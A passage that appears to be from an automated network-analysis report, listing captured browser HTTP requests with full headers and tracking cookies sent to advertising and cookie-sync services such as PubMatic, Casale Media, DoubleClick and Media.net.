data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1
Source: global traffic	HTTP traffic detected: GET /bh/rtset?ev=AABsm07LPlAAABMLLoldYg&do=add&pid=558502&rurl=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26bee_sync_partners%3Dsas%252Csyn%252Cpm%26bee_sync_current_partner%3Dpp%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D2&gdpr=0 HTTP/1.1Host: bh.contextweb.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync2/brxd?gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
Source: global traffic	HTTP traffic detected: GET /int/cm?exc=20&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&callback=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dctn%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26ovsid%3D%3CDSP_USER_ID%3E%26axid_e%3D%26 HTTP/1.1Host: i.ctnsnet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=apx&ovsid=7367141199740274687&axid_e= HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&expiration=1707521239&gdpr=0&gdpr_consent= HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /cksync?cs=1&type=ttd&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b HTTP/1.1Host: cs.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8
Source: global traffic	HTTP traffic detected: GET /verizonsync?gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/js/rum.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /cksync.html?cs=8&vsid=3479308330180239000V10&type=opx&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=b6718352-3281-0abd-1f7e-c94ddda5ae48 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3205&partner_device_id=f6435827-796b-4521-81e9-11e581628f69&partner_url=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D437%26ssp%3Dcriteo%26user_id%3D HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjstC7FFNq17MEgQMfFzd_RebfWSNOrQijnPR4lMn43YibpJ9iOiymXyfKZdVwI8QG17IMIM1Ri0MdF1GfE-Z9iStaqvo2K9wD7v06wu6tJBPcbgVD4kk16p1zdu9Rr3Bvil2mDcRRzQvej0wj87ROBBM6vyO4pIbuYLITIbZILIm1_-we4n2r9DCs11BHOVjVGD0hVSfQv1q0k4jCYN0v_xlM9IUAgv3dEXxZe_nUgJ9OCj4RxN1MaxIk_YKPRPH-PDdpZJG3KtzOBCS2YNL5NRTxG7lDZwIhKCulUvhpBM_muFwX9BBp687wNNBGbIgl3M9IVK449a-9oOCjepDdtfJmSe3QODOg2bNKHKJ-0uyDA1wTD4b8itlfn9GBDHxtUrB3eDtCiWCnEgj94xirjdEeRxB&sai=AMfl-YQXVJXNrhpYksnFh-Js-YU8o0SKOby1CLYBkAI0ieZ4fJdbkX7bXBX1j10NkWAKHUCa2Gfe6SGe2rzCpULlvuyAhKygmlxHbVEhL89Bo3oBDnmhnMTQbdkj3X2NU3ZJL9xzvjeCw3MNY36CzzcLYTk&sig=Cg0ArKJSzNmJcgta_6T6EAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=baidu_mediago&google_hm=22210ca7d904fe7322qnsv00lr8eukx3 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.mediago.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=45&external_user_id=CAESEC-n6KJ8gvOU0fU3xp0t3Rk&google_cver=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=88&external_user_id=ZZ8n1gANku5CxgBU&_test=ZZ8n1gANku5CxgBU HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /getuid/15563?gdpr=0&gdpr_consent=&gpp_sid=&gpp=&r=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3D58601%26ovsid%3D HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=7367141199740274687; XANDR_PANID=h2PiT8wtZj0DL-RGGfCmqJvoqf_3fnc6DeeW2NL1FI4FcZuzQ3eGGGpBLeS1Y8H89WW1mi3sQEUgMwWf8G2CnG6ZndA8IXbhx_qSviYpB-0.
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=75193254&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; PugT=1704929239
Source: global traffic	HTTP traffic detected: GET /usersync/turn/8266606981038422920?dspret=1&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
Source: global traffic	HTTP traffic detected: GET /usersync/141?gdpr=0&gdpr_consent= HTTP/1.1Host: match.deepintent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync?gdpr=0&bee_sync_partners=sas%2Csyn%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=adx&bee_sync_hop_count=2&ev=AABsm07LPlAAABMLLoldYg&pid=558502&do=add&gdpr=0 HTTP/1.1Host: match.prod.bidr.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
Source: global traffic	HTTP traffic detected: GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F901b327bf2cb2296c935b2fa335542c9.jpg HTTP/1.1Host: images.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /fUD7hqXV/v2?_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&us_privacy= HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mbcsc?bv=3.0.0&es=AQAAAEj1xGGzm8-291GIun6k2XVJNg-elQ3aLrjLZ4o23qjaS6J6P4siyGOLQBDKDjA9g2cWY0_-VwfvhdHBkbVD_N4bMdeO3cwF0iGS8uUxtGy1oHkKk37b21y8P18qngxgsvzmnev-yv9EyNw41oIE27Kr2QQ_yNRJYEZ5I-KSlTXeVZx4Ned69hUtsrYGE8Xi7xuUxrHUb6UuylkdQpYmGrTCEHIc3y9U7Zijk8aNl_x1OHM0vNng2ydpgnCbnKMwVhICuf1FVFEegXiBpraxO8KJ0vEi1XVN4uPrg6-JdsiXODv8xoF0R0QrMlWt8dkhT-xfWTpBPZ1QgicVr-uUVkLbfr7CfmPNqO-2fCSJKrtvc72gqmQQdJbbG7w5HKU_pLofgs0u_3andYEnuV7AzwOIpTVJ3w8ORpkNPIpKue1lJ2O3BNftPQopg0A1Zee-2Tp99vxdT2Mb6mKFd4EYAPSe-T4XbEGJjyzBmeLfTq6u5j7dMhoqIN5lTDGaHPDufkJLgVw00kJ5pOPVzYNGowxwID_9O-5cL0SciUW7m3fNtMmmcg5fJRkQipY-76tZ0yiWeOUdGcq0hCYhaggOGlUInnqucWswPHFtyHWITg4bZ-VBtuFZNA8YjKUzcUyFIL51UPGeMAa64n1UI_pjRJYUt2DdLDUn8qGtgfKSryW4DgUBAnO1BBuu8SKRjMxGj6ZX5nvWnpOb6FTl5j0-rB6xKQOBQ3JJX6I9Qde52CucB2-P80hcE_Mc5nUKhT9yycsunVx_XPbx-D3vfXfur1UPJ7VfOziCV3lYG58POa-7mYNp1zqFIH9VWvSJ6Cls84cSrRu60MiOAaGqgZZVSYSlPTWcjSoBwjMA76D4BaxhbP8-4ErN3aMndwv7_6JJbgtMRvr19B52Vo9eTbAYzaFInYnkkjYxO9SBTs_cul8imWeQfK_kTDAPik69n1N5CyHDAnZtxx6-TT5oJAivkS2qGOKu-sbPa5Wh34a7b97QMuecMxTByQU8WAoegqSjgNFeEpZThcbRfg0fDIWP1vc-hcG6hfN7lzFoPHyO4p2MEyNi20EfMmqUhB5rAepgMfny0ogpO_DZugFZZOnEut38m0yWpDSssAqRoPXM2YEToUjgrXBDUFVcp-RCsT10sF1DT8ibiWJ3qfwIcZCkmxvkN6hdgwy6UvEiVILbuwWK4B3BFo9gJilJ-VR5fe67PSGSXl0j8qfzTriUZbwoavYxgQjXWpDnXES90SgAlWQOV0ZP4O6OCeKcbchdq9tWLBquPF073D4rkBamzPHJbXH1vDNdUuo7HIv1N1Yxck7FA9lQUMFhFJyT93epdeltdCjL74KKRqOc3tSUYQ-hh5zqW84sUflidsENQepfOU07Wr6KLMlTjqcocCYEh7CYfvqrLV6J9zDhDsixyDpvhl66vksKULOpENvJQwVG0Esjrsb-HkZwuacyTUQ_ZqTm8hH8ZNUASD5Sy043kSx_eGeCjossdtaZBeX7_6FT9IfrG5LyBP3nL6uCacJFMtE1uQUvZA1BbVan-23OybD64vxmL-Ehdd1ima2cJltVTTlG6Sc6Z3WxFBmC-cRC_WZO4S_3nIAj8ilPUuGeBlo7jyodrY58lBY1fyzzF3nLYrXFiVmWiDEUx5tYm4VXDpbRbgF1gpShl1OHStB_oS-8AUtJQS-h6IlUQ7J8hqg8X7SKjfjTAAw6Ec1UMHtPx3fsMUAorDq0aaDasvtX-pEUlnpN_W19704HfzOFOO6tiec37SsG01cLuVbAwAon1EWO_hCDDrdr2Vm3AelLDrGAWpHUPuf2bBtmswfSISLm4t6aPNepI_iEjTiRA7aRXg58b5yxTnQHwbz8Cizm46NHGoJcHPTpnFq9Or4MWsLq4dd4e4kioP7tKGR31qdBfIXEn93vDxlg6XeXF5ohbBp_VhDLJQOHP3Ot9PBLj_BsWySPbxcabSejOmAUEmSUVEW6poDViRcBGnHo_bAu6NXgk10GQHLBWzSZluNa0VzgLJLrHrdzFMj_I9S1rktoECEPlMnpzmg6JOqqkAxOQcBauzOZNIr20I9EVyRSQ_4zbxYFSP1YLd8s3eZgdqQ_-NkBBUBJMmIi9vaISAVbRwJofcg4FpsG7